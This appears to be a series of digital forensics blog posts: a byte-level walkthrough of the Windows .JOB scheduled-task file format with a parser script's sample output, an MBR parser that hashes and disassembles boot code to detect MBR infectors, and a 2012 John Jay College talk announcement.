00000b0: 4a00 6f00 6200 4100 6400 6400 2e00 0000  J.o.b.A.d.d.....
00000c0: 0000 0800 0000 0000 0000 0000 0100 3000  ..............0.
00000d0: 0000 dc07 0700 1000 0000 0000 0000 0b00  ................
00000e0: 1a00 0000 0000 0000 0000 0000 0000 0000  ................
00000f0: 0000 feff ffff fd68 7377 0000 0000 0100  .......hsw......
0000100: 0100 0416 10dd 78d9 b300 f7f0 9b20 9bd8  ......x...... ..
0000110: a0c4 5108 c943 d5c9 c64f 47ea 6052 0349  ..Q..C...OG.`R.I
0000120: 23e1 e1ab 6815 e8ef 219e 6d3b aa88 1360  #...h...!.m;...`
0000130: 706b c27b 2e44 9db1 4e89 81ca dd0a 869e  pk.{.D..N.......
0000140: 2b61                                     .6..

We can see the first section of the job file below:

 
0000000: 0006 0100 e378 73f7 4d8b 2a45 a589 1cc5  .....xs.M.*E....
0000010: fa64 cfd2 4600 cc00 0000 0000 3c00 0a00  .d..F.......<...
0000020: 2000 0000 0014 730f 0000 0000 0513 0400   .....s.........
0000030: 0200 e421 dc07 0700 0100 1000 0b00 1a00  ...!............
0000040: 0000 0f00                                ....

The fixed length section is pretty straightforward (I will only fill in a few):
0-2 : Product Info (0x600 - Vista)
2-4 : File Version (0x1)
4-20 : UUID ({F77378E3-8B4D-452A-A589-1CC5FA64CFD2})
20-22: Application Name Offset (0x46)
22-24: Trigger Offset (0xcc)
24-26: Error Retry Count (0x00)
26-28: Error Retry Interval (0x00)
28-30: Idle Deadline (0x3c)
30-32: Idle Wait (0xa)
32-36: Priority
36-40: Maximum Runtime
40-44: Exit Code (0x0)
44-48: Status (0x41305)
48-52: Flags
52-68: Run Date (Monday Jul 16 11:26:00.15 2012)

The variable length section actually contains sizes (denoted in red below) before some of the data members mentioned in the MSDN documentation:

                   0000 0400 6300 6d00 6400 0000       ...c.m.d...
0000050: 0f00 2f00 6300 2000 6e00 6f00 7400 6500  ../.c. .n.o.t.e.
0000060: 7000 6100 6400 2e00 6500 7800 6500 0000  p.a.d...e.x.e...
0000070: 0000 0700 5300 5900 5300 5400 4500 4d00  ....S.Y.S.T.E.M.
0000080: 0000 1e00 4300 7200 6500 6100 7400 6500  ....C.r.e.a.t.e.
0000090: 6400 2000 6200 7900 2000 4e00 6500 7400  d. .b.y. .N.e.t.
00000a0: 5300 6300 6800 6500 6400 7500 6c00 6500  S.c.h.e.d.u.l.e.
00000b0: 4a00 6f00 6200 4100 6400 6400 2e00 0000  J.o.b.A.d.d.....
00000c0: 0000 0800 0000 0000 0000 0000 0100 3000  ..............0.
00000d0: 0000 dc07 0700 1000 0000 0000 0000 0b00  ................
00000e0: 1a00 0000 0000 0000 0000 0000 0000 0000  ................
00000f0: 0000 feff ffff fd68 7377 0000 0000 0100  .......hsw......
0000100: 0100 0416 10dd 78d9 b300 f7f0 9b20 9bd8  ......x...... ..
0000110: a0c4 5108 c943 d5c9 c64f 47ea 6052 0349  ..Q..C...OG.`R.I
0000120: 23e1 e1ab 6815 e8ef 219e 6d3b aa88 1360  #...h...!.m;...`
0000130: 706b c27b 2e44 9db1 4e89 81ca dd0a 869e  pk.{.D..N.......
0000140: 2b61                                     .6..

Going over some of the data above we have:
Running instance count
Command Name Length (0x4 - includes ending '\x00')
Command Name (cmd )
Parameter length (0xf)
Parameter (/c notepad.exe )
Working Directory Length (0x0)
Working Directory (if Working Directory Length > 0)
User Name Length (0x7)
User Name (SYSTEM)
Comment Length (0x1e)
Comment (if Comment length > 0 - Created by NetScheduleJobAdd. )
User Data / Reserved data
Trigger count
Triggers
- Scheduled date (Jul 16 11:26:00.0 2012)
Job Signature

So I am releasing a job file parser script that can parse out almost all of these items mentioned above. You can find it here. The only things left off are the user/reserved data, some of the trigger data and the job signature sections. I have only tested this on 32 bit *nix systems, so let me know if you hit issues on another platforms. You can see an example output of the above job file below:

$ python jobparser.py -f At5.job 
Product Info: Windows Vista
File Version: 1
UUID: {F77378E3-8B4D-452A-A589-1CC5FA64CFD2}
Maximum Run Time: 72:00:00.0 (HH:MM:SS.MS)
Exit Code: 0
Status: Properties not set
Flags: TASK_FLAG_DONT_START_IF_ON_BATTERIES
Date Run: Monday Jul 16 11:26:00.15 2012
Running Instances: 0
Application: cmd
Parameters: /c notepad.exe
Working Directory: Working Directory not set
User: SYSTEM
Comment: Created by NetScheduleJobAdd.
Scheduled Date: Jul 16 11:26:00.0 2012

Here is some output of job files taken from a Windows 2008 machine:

$ python jobparser.py -d Tasks/
************************************************************************
File: Tasks/At1.job
Product Info: Windows Vista
File Version: 1
UUID: {CE14B659-4115-4263-BFAD-A8318428AB68}
Maximum Run Time: 72:00:00.0 (HH:MM:SS.MS)
Exit Code: 0
Status: Properties not set
Flags: TASK_FLAG_DONT_START_IF_ON_BATTERIES
Date Run: Task not yet run
Running Instances: 0
Application: notepad.exe
Working Directory: Working Directory not set
User: SYSTEM
Comment: Created by NetScheduleJobAdd.
Scheduled Date: Jul 17 02:20:00.0 2012

************************************************************************
************************************************************************
File: Tasks/At2.job
Product Info: Windows Vista
File Version: 1
UUID: {46F61E52-4581-49A9-9AD0-2244C206AEEB}
Maximum Run Time: 72:00:00.0 (HH:MM:SS.MS)
Exit Code: 0
Status: Properties not set
Flags: TASK_FLAG_DONT_START_IF_ON_BATTERIES
Date Run: Task not yet run
Running Instances: 0
Application: notepad.exe
Working Directory: Working Directory not set
User: SYSTEM
Comment: Created by NetScheduleJobAdd.
Scheduled Date: Jul 16 14:20:00.0 2012

************************************************************************

And here are a couple of XP Tasks, notice that one has "Running Instances" value of "1", this was copied when the command was currently running:

************************************************************************
File: Solitaire.job
Product Info: Windows XP
File Version: 1
UUID: {3824DDBB-A037-4016-B99A-28BD95D429AF}
Maximum Run Time: 72:00:00.0 (HH:MM:SS.MS)
Exit Code: 0
Status: Task has not run
Flags: TASK_FLAG_INTERACTIVE, TASK_FLAG_DELETE_WHEN_DONE
Date Run: Monday Aug 13 12:37:00.10 2012
Running Instances: 1
Application: C:\WINDOWS\system32\sol.exe
Working Directory: C:\WINDOWS\system32
User: user
Comment: Comment not set
Scheduled Date: Aug 13 12:37:00.0 2012

************************************************************************
************************************************************************
File: Solitaire2.job
Product Info: Windows XP
File Version: 1
UUID: {3824DDBB-A037-4016-B99A-28BD95D429AF}
Maximum Run Time: 72:00:00.0 (HH:MM:SS.MS)
Exit Code: 0
Status: Task is ready to run
Flags: TASK_FLAG_INTERACTIVE, TASK_FLAG_DELETE_WHEN_DONE
Date Run: Monday Aug 13 12:37:00.10 2012
Running Instances: 0
Application: C:\WINDOWS\system32\sol.exe
Working Directory: C:\WINDOWS\system32
User: user
Comment: Comment not set
Scheduled Date: Aug 13 12:37:00.0 2012

************************************************************************

References:

[1] Windows Forensic Analysis 2nd Ed., Harlan Carvey
[2] .JOB File Format, http://msdn.microsoft.com/en-us/library/cc248285%28v=prot.13%29.aspx
[3] Windows Scheduler (at job) Forensics, http://computer-forensics.sans.org/blog/2009/09/16/windows-scheduler-at-job-forensics

MBR Parser

With the increase in MBR infectors, I've decided to release a script I wrote that parses the MBR as well as hashes and disassembles the bootcode. I've found that MBR bootcode is pretty stable across systems of the same OS, so this script should allow you to quickly check for any discrepancies on a system.

You of course need Python and Distorm to use this script.

A shortened example output can be seen below:

$ python mbr_parser.py -f mbr.bin 
Disk signature: 96-80-96-80

Bootcode md5: 4ad444d4e7efce9485a94186c3f4b157

Bootcode Disassembly:

00000000: 33c0                             XOR AX, AX
00000002: 8ed0                             MOV SS, AX
00000004: bc007c                           MOV SP, 0x7c00
00000007: fb                               STI
00000008: 50                               PUSH AX
00000009: 07                               POP ES
0000000a: 50                               PUSH AX
0000000b: 1f                               POP DS
0000000c: fc                               CLD
0000000d: 50                               PUSH AX
0000000e: be007c                           MOV SI, 0x7c00
00000011: bf0006                           MOV DI, 0x600
00000014: b90002                           MOV CX, 0x200
00000017: f3a4                             REP MOVSB
00000019: bf1e06                           MOV DI, 0x61e
0000001c: 57                               PUSH DI
0000001d: cb                               RETF
0000001e: b441                             MOV AH, 0x41
00000020: b280                             MOV DL, 0x80
00000022: bbaa55                           MOV BX, 0x55aa
00000025: cd13                             INT 0x13
00000027: 81fb55aa                         CMP BX, 0xaa55
0000002b: 7530                             JNZ 0x5d
0000002d: f6c101                           TEST CL, 0x1
00000030: 742b                             JZ 0x5d
00000032: be0008                           MOV SI, 0x800
00000035: c7041000                         MOV WORD [SI], 0x10
00000039: c744020600                       MOV WORD [SI+0x2], 0x6

[snip]

000001b2: 0000                             ADD [BX+SI], AL
000001b4: 002c                             ADD [SI], CH
000001b6: 44                               INC SP
000001b7: 63                               DB 0x63


===== Partition Table #1 =====
Boot flag: 0x80 (Bootable)
Partition type: 0x7 (NTFS)
Starting Sector (LBA): 0x3f (63)
Starting CHS: Cylinder: 0 Head: 1 Sector: 1
Ending CHS: Cylinder: 520 Head: 254 Sector: 63
Size in sectors: 0x7fb68a (8369802)



===== Partition Table #2 =====
Boot flag: 0x0 
Partition type: 0x0 (Empty)
Starting Sector (LBA): 0x0 (0)
Starting CHS: Cylinder: 0 Head: 0 Sector: 0
Ending CHS: Cylinder: 0 Head: 0 Sector: 0
Size in sectors: 0x0 (0)



===== Partition Table #3 =====
Boot flag: 0x0 
Partition type: 0x0 (Empty)
Starting Sector (LBA): 0x0 (0)
Starting CHS: Cylinder: 0 Head: 0 Sector: 0
Ending CHS: Cylinder: 0 Head: 0 Sector: 0
Size in sectors: 0x0 (0)



===== Partition Table #4 =====
Boot flag: 0x0 
Partition type: 0x0 (Empty)
Starting Sector (LBA): 0x0 (0)
Starting CHS: Cylinder: 0 Head: 0 Sector: 0
Ending CHS: Cylinder: 0 Head: 0 Sector: 0
Size in sectors: 0x0 (0)

Update: Fixed output to 16bit assembly. Thanks for the feedback!

The script can be found here.

Upcoming Cybercrime Studies talk: For a Free Digital Society by Dr. Richard Stallman

Yet another interesting upcoming talk at John Jay College on Tuesday March 27, 2012:

Center for Cybercrime Studies

John Jay College of Criminal Justice

presents

For a Free Digital Society

Dr. Richard Stallman

President

Free Software Foundation

Abstract

Activities directed at ``including'' more people in the use of digital technology are predicated on the assumption that such inclusion is invariably a good thing. It appears so, when judged solely by immediate practical convenience. However, if we also judge in terms of human rights, whether digital inclusion is good or bad depends on what kind of digital world we are to be included in. If we wish to work towards digital inclusion as a goal, it behooves us to make sure it is the good kind.

Richard Stallman launched the free software movement in 1983 and started the development of the GNU operating system (see www.gnu.org) in 1984. GNU is free software: everyone has the freedom to copy it and redistribute it, with or without changes. The GNU/Linux system, basically the GNU operating system with Linux added, is used on tens of millions of computers today. Stallman has received the ACM Grace Hopper Award, a MacArthur Foundation Fellowship, the Electronic Frontier Foundation's Pioneer Award, and the Takeda Award for Social/Economic Betterment, as well as several honorary doctorates.

Date: Tuesday, March 27, 2012
Time: 1:30 PM

Location: L.61 Conference Center (New Building)

John Jay College of Criminal Justice

899 Tenth Avenue

New York, NY

RSVP: Nicole Daniels at 212-237-8920 or email ndaniels@jjay.cuny.edu. For additional information please contact Professor Doug Salane, Director of the Center for Cybercrime Studies, 212-237-8836 or email dsalane@jjay.cuny.edu.

For additional Center for Cybercrime Studies events visit our web site. Go to WWW.JJAY.CUNY.EDU , ACADEMICS, RESEARCH CENTERS and INSTITUTES.